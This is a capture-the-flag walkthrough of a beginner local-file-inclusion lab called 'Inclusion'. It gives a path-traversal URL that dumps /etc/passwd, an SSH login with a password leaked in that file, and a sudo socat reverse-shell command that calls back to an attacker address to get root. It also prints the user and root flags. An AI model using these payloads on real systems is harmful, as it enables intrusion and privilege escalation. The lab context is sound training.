Inclusion

Inclusion
A beginner level LFI challenge

[Task 1] Deploy

This is a beginner level room designed for people who want to get familiar with Local file inclusion vulnerability.
If you have any kind of feedback please reach out to me on twitter at 0xmzfr

#1	Deploy Machine
#1	Deploy the machine

No answer needed

[Task 2] Root It

If you've deployed the VM then try to find the LFI parameters and get the user and root flag.

#1	USER FLAG
#1	user flag

went to site at **http://10.10.46.149**
then clicked on LFI-attack page at **http://10.10.46.149/article?name=lfiattack**
I then used directory traversal and LFI to get /etc/passwd file with URL of **http://10.10.46.149/article?-name=../../../../etc/passwd and noticed**
the comment #falconfeast:rootpassword
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
falconfeast:x:1000:1000:falconfeast,,,:/home/falconfeast:/bin/bash
#falconfeast:rootpassword
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false

ran command **ssh falconfeast@10.10.46.149** and logged in using **rootpassword** as password

then ran **cat user.txt** and got flag

60989655118397345799

#2	**ROOT FLAG**
#2	root flag

while on remote machine I ran '**sudo -l**' command and received following:

Matching Defaults entries for falconfeast on inclusion:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User falconfeast may run the following commands on inclusion:
(root) NOPASSWD: /usr/bin/socat

this showed me that falconfeast could run **/usr/bin/socat** with no password, so I looked on GTFObins for a socat shell and found one.

I then ran **socat file:`tty`,raw,echo=0 tcp-listen:12345** on the attacker box to receive the shell.

RHOST=10.8.3.117
RPORT=12345
sudo socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane

which gave me a shell and I ran '**id**' command showing me as root

uid=0(**root**) gid=0(root) groups=0(root)

ran **cd /root**
ran **cat root.txt** and got flag

42964104845495153909